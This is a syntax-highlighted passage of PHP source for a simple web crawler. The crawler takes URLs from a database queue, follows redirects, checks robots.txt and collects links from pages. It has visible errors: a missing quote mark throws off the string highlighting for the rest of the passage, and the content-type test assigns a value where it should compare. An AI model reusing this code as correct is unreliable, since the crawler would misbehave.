#0000BB">false</span><span style="color: #007700">;&nbsp;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}&nbsp;</span><span style="color: #FF8000">#&nbsp;page&nbsp;is&nbsp;not&nbsp;disallowed&nbsp;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #007700">return&nbsp;</span><span style="color: #0000BB">true</span><span style="color: #007700">;&nbsp;<br />&nbsp;&nbsp;&nbsp;&nbsp;}&nbsp;<br />&nbsp;&nbsp;&nbsp;&nbsp;<br />&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #FF8000">//&nbsp;BEGIN&nbsp;OF&nbsp;THE&nbsp;ACTUAL&nbsp;CRAWLER<br />&nbsp;&nbsp;&nbsp;&nbsp;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;#&nbsp;check&nbsp;ON/OFF&nbsp;settings<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">$dbr&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #DD0000">"SELECT&nbsp;onoff&nbsp;FROM&nbsp;settings&nbsp;WHERE&nbsp;crawlerid&nbsp;=&nbsp;1"</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #FF8000">#&nbsp;PDO&nbsp;works&nbsp;with&nbsp;FOREACH&nbsp;even&nbsp;if&nbsp;we're&nbsp;awaiting&nbsp;ONLY&nbsp;ONE&nbsp;result<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #007700">foreach&nbsp;(</span><span style="color: #0000BB">$dbh</span><span style="color: #007700">-&gt;</span><span style="color: #0000BB">query</span><span style="color: #007700">(</span><span style="color: #0000BB">$dbr</span><span style="color: #007700">)&nbsp;as&nbsp;</span><span style="color: #0000BB">$row</span><span style="color: #007700">)&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if(</span><span style="color: #0000BB">$row</span><span style="color: #007700">&#91;</span><span style="color: #0000BB">0</span><span style="color: #007700">&#93;&nbsp;==&nbsp;</span><span style="color: #0000BB">1</span><span style="color: #007700">)<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #FF8000">#&nbsp;IF&nbsp;ONOFF&nbsp;IS&nbsp;SET&nbsp;TO&nbsp;1&nbsp;THE&nbsp;CRAWLER&nbsp;IS&nbsp;OFFLINE&nbsp;-&nbsp;script&nbsp;automatically&nbsp;ends<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #007700">die(</span><span style="color: #DD0000">'Crawler&nbsp;not&nbsp;running!'</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #FF8000">#&nbsp;FREE&nbsp;DBR&nbsp;variable&nbsp;for&nbsp;further&nbsp;use<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #007700">unset(</span><span style="color: #0000BB">$dbr</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #FF8000">#&nbsp;STEP&nbsp;1:&nbsp;GET&nbsp;url,qid&nbsp;of&nbsp;the&nbsp;next&nbsp;website&nbsp;out&nbsp;of&nbsp;the&nbsp;database<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">$dbr&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #DD0000">"SELECT&nbsp;qid,url&nbsp;FROM&nbsp;queue_main&nbsp;ORDER&nbsp;BY&nbsp;qid&nbsp;ASC&nbsp;LIMIT&nbsp;1"</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;foreach&nbsp;(</span><span style="color: #0000BB">$dbh</span><span style="color: #007700">-&gt;</span><span style="color: #0000BB">query</span><span style="color: #007700">(</span><span style="color: #0000BB">$dbr</span><span style="color: #007700">)&nbsp;as&nbsp;</span><span style="color: #0000BB">$row</span><span style="color: #007700">)&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">$nextwebsite_url&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">$row</span><span style="color: #007700">&#91;</span><span style="color: #DD0000">'url'</span><span style="color: #007700">&#93;;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">$nextwebsite_id&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">$row</span><span style="color: #007700">&#91;</span><span style="color: #DD0000">'qid'</span><span style="color: #007700">&#93;;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #FF8000">#&nbsp;FREE&nbsp;DBR&nbsp;variable&nbsp;for&nbsp;further&nbsp;use<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #007700">unset(</span><span style="color: #0000BB">$dbr</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #FF8000">#&nbsp;STEP&nbsp;2:&nbsp;DELETE&nbsp;URL&nbsp;FROM&nbsp;QUEUE<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">$statement_delete&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">$dbh</span><span style="color: #007700">-&gt;</span><span style="color: #0000BB">prepare</span><span style="color: #007700">(</span><span style="color: #DD0000">"DELETE&nbsp;from&nbsp;queue_main&nbsp;WHERE&nbsp;qid&nbsp;=&nbsp;?&nbsp;AND&nbsp;url&nbsp;=&nbsp;?"</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">$statement_delete</span><span style="color: #007700">-&gt;</span><span style="color: #0000BB">bindParam</span><span style="color: #007700">(</span><span style="color: #0000BB">1</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">$nextwebsite_id</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">$statement_delete</span><span style="color: #007700">-&gt;</span><span style="color: #0000BB">bindParam</span><span style="color: #007700">(</span><span style="color: #0000BB">2</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">$nextwebsite_url</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">$statement_delete</span><span style="color: #007700">-&gt;</span><span style="color: #0000BB">execute</span><span style="color: #007700">();<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #FF8000">#&nbsp;STEP&nbsp;3:&nbsp;CHECK&nbsp;IF&nbsp;WEBSITE&nbsp;IS&nbsp;AVAILABLE<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">$nextwebsite_url&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">stripslashes</span><span style="color: #007700">(</span><span style="color: #0000BB">$nextwebsite_url</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">$parsed&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">parse_url</span><span style="color: #007700">(</span><span style="color: #0000BB">$nextwebsite_url</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">$checkhead&nbsp;</span><span style="color: #007700">=&nbsp;new&nbsp;</span><span style="color: #0000BB">httpconnection</span><span style="color: #007700">(</span><span style="color: #0000BB">$parsed</span><span style="color: #007700">&#91;</span><span style="color: #DD0000">'host'</span><span style="color: #007700">&#93;);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">$nextwebsite_parsed&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">$parsed</span><span style="color: #007700">&#91;</span><span style="color: #DD0000">'path'</span><span style="color: #007700">&#93;;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if(isset(</span><span style="color: #0000BB">$parsed</span><span style="color: #007700">&#91;</span><span style="color: #DD0000">'query'</span><span style="color: #007700">&#93;))<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if(!empty(</span><span style="color: #0000BB">$parsed</span><span style="color: #007700">&#91;</span><span style="color: #DD0000">'query'</span><span style="color: #007700">&#93;))&nbsp;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">$nextwebsite_parsed&nbsp;</span><span style="color: #007700">.=&nbsp;</span><span style="color: #0000BB">$parsed</span><span style="color: #007700">&#91;</span><span style="color: #DD0000">'query'</span><span style="color: #007700">&#93;;&nbsp;&nbsp;&nbsp;&nbsp;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if(isset(</span><span style="color: #0000BB">$parsed</span><span style="color: #007700">&#91;</span><span style="color: #DD0000">'fragment'</span><span style="color: #007700">&#93;))<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if(!empty(</span><span style="color: #0000BB">$parsed</span><span style="color: #007700">&#91;</span><span style="color: #DD0000">'fragment'</span><span style="color: #007700">&#93;))&nbsp;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">$nextwebsite_parsed&nbsp;</span><span style="color: #007700">.=&nbsp;</span><span style="color: #0000BB">$parsed</span><span style="color: #007700">&#91;</span><span style="color: #DD0000">'fragment'</span><span style="color: #007700">&#93;;&nbsp;&nbsp;&nbsp;&nbsp;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">$data&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">$checkhead</span><span style="color: #007700">-&gt;</span><span style="color: #0000BB">head</span><span style="color: #007700">(</span><span style="color: #0000BB">$nextwebsite_parsed</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">$responsecode&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">$data</span><span style="color: #007700">&#91;</span><span style="color: #DD0000">'head'</span><span style="color: #007700">&#93;&#91;</span><span style="color: #DD0000">'code'</span><span style="color: #007700">&#93;;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if((</span><span style="color: #0000BB">$responsecode&nbsp;</span><span style="color: #007700">!=&nbsp;</span><span style="color: #DD0000">'200'</span><span style="color: #007700">)&nbsp;and&nbsp;(</span><span style="color: #0000BB">$responsecode&nbsp;</span><span style="color: #007700">!=&nbsp;</span><span style="color: #DD0000">'201'</span><span style="color: #007700">)&nbsp;and&nbsp;(</span><span style="color: #0000BB">$responsecode&nbsp;</span><span style="color: #007700">!=&nbsp;</span><span style="color: #DD0000">'202'</span><span style="color: #007700">))<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if((</span><span style="color: #0000BB">$responsecode&nbsp;</span><span style="color: #007700">==&nbsp;</span><span style="color: #DD0000">'301'</span><span style="color: #007700">)&nbsp;or&nbsp;(</span><span style="color: #0000BB">$responsecode&nbsp;</span><span style="color: #007700">==&nbsp;</span><span style="color: #DD0000">'302'</span><span style="color: #007700">))<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">$responselocation&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">$data</span><span style="color: #007700">&#91;</span><span style="color: #DD0000">'head'</span><span style="color: #007700">&#93;&#91;</span><span style="color: #DD0000">'location'</span><span style="color: #007700">&#93;&#91;</span><span style="color: #DD0000">'uri'</span><span style="color: #007700">&#93;;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">$nextwebsite_url&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">$responselocation</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;echo&nbsp;</span><span style="color: #DD0000">'Code&nbsp;302&nbsp;Found,&nbsp;new&nbsp;location:&nbsp;'</span><span style="color: #007700">.</span><span style="color: #0000BB">$nextwebsite_url</span><span style="color: #007700">.</span><span style="color: #DD0000">'&nbsp;used!&lt;br&nbsp;/&gt;&lt;br&nbsp;/&gt;'</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;else<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;die(</span><span style="color: #DD0000">'No&nbsp;Data&nbsp;found.'</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;unset(</span><span style="color: #0000BB">$checkhead</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #FF8000">#&nbsp;STEP&nbsp;4:&nbsp;CHECK&nbsp;FOR&nbsp;ROBOTS<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #007700">if(!</span><span style="color: #0000BB">robots_allowed</span><span style="color: #007700">(</span><span style="color: #0000BB">$nextwebsite_url</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">HTML&nbsp;Crawl&nbsp;Bot</span><span style="color: #DD0000">'))<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;die('</span><span style="color: #0000BB">No&nbsp;Robots&nbsp;allowed</span><span style="color: #007700">.</span><span style="color: #DD0000">');<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;#&nbsp;STEP&nbsp;5:&nbsp;CHECK&nbsp;FOR&nbsp;CONTENT&nbsp;TYPE&nbsp;-&nbsp;TEXT/HTML&nbsp;ALLOWED<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$urlheaders&nbsp;=&nbsp;$nextwebsite_url;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$headermime&nbsp;=&nbsp;get_headers($urlheaders,&nbsp;8);<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if(!$headermime&nbsp;=&nbsp;"Content-Type:&nbsp;text/html")<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;die('</span><span style="color: #0000BB">Content&nbsp;Type&nbsp;not&nbsp;TEXT</span><span style="color: #007700">/</span><span style="color: #0000BB">HTML</span><span style="color: #DD0000">');<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;#&nbsp;STEP&nbsp;6:&nbsp;CRAWL&nbsp;META&nbsp;TAGS&nbsp;-&nbsp;Checking&nbsp;for&nbsp;keywords,&nbsp;description,&nbsp;title<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;#&nbsp;STEP&nbsp;7:&nbsp;PARSE&nbsp;FOR&nbsp;HTML&nbsp;LINKS<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$html&nbsp;=&nbsp;file_get_html($nextwebsite_url);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;#&nbsp;PREPARE&nbsp;SQL&nbsp;STATEMENT&nbsp;FOR&nbsp;FASTER&nbsp;USAGE&nbsp;AND&nbsp;INCREASED&nbsp;PERFORMANCE<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$statement&nbsp;=&nbsp;$dbh-&gt;prepare("INSERT&nbsp;INTO&nbsp;queue_main&nbsp;(url)&nbsp;VALUES&nbsp;(:url)");<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$statement-&gt;bindParam('</span><span style="color: #007700">:</span><span style="color: #0000BB">url</span><span style="color: #DD0000">',&nbsp;$url_to_insert);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$statement_select&nbsp;=&nbsp;$dbh-&gt;prepare("SELECT&nbsp;qid,url&nbsp;FROM&nbsp;queue_main&nbsp;WHERE&nbsp;url&nbsp;=&nbsp;?");<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;foreach($html-&gt;find('</span><span style="color: #0000BB">a</span><span style="color: #DD0000">')&nbsp;as&nbsp;$e)<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$url&nbsp;=&nbsp;$e-&gt;href;<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(preg_match('</span><span style="color: #007700">/^(</span><span style="color: #0000BB">http</span><span style="color: #007700">|</span><span style="color: #0000BB">https</span><span style="color: #007700">):\/\/(&#91;</span><span style="color: #0000BB">A</span><span style="color: #007700">-</span><span style="color: #0000BB">Z0</span><span style="color: #007700">-</span><span style="color: #0000BB">9</span><span style="color: #007700">&#93;&#91;</span><span style="color: #0000BB">A</span><span style="color: #007700">-</span><span style="color: #0000BB">Z0</span><span style="color: #007700">-</span><span style="color: #0000BB">9_</span><span style="color: #007700">-&#93;*(?:\.&#91;</span><span style="color: #0000BB">A</span><span style="color: #007700">-</span><span style="color: #0000BB">Z0</span><span style="color: #007700">-</span><span style="color: #0000BB">9</span><span style="color: #007700">&#93;&#91;</span><span style="color: 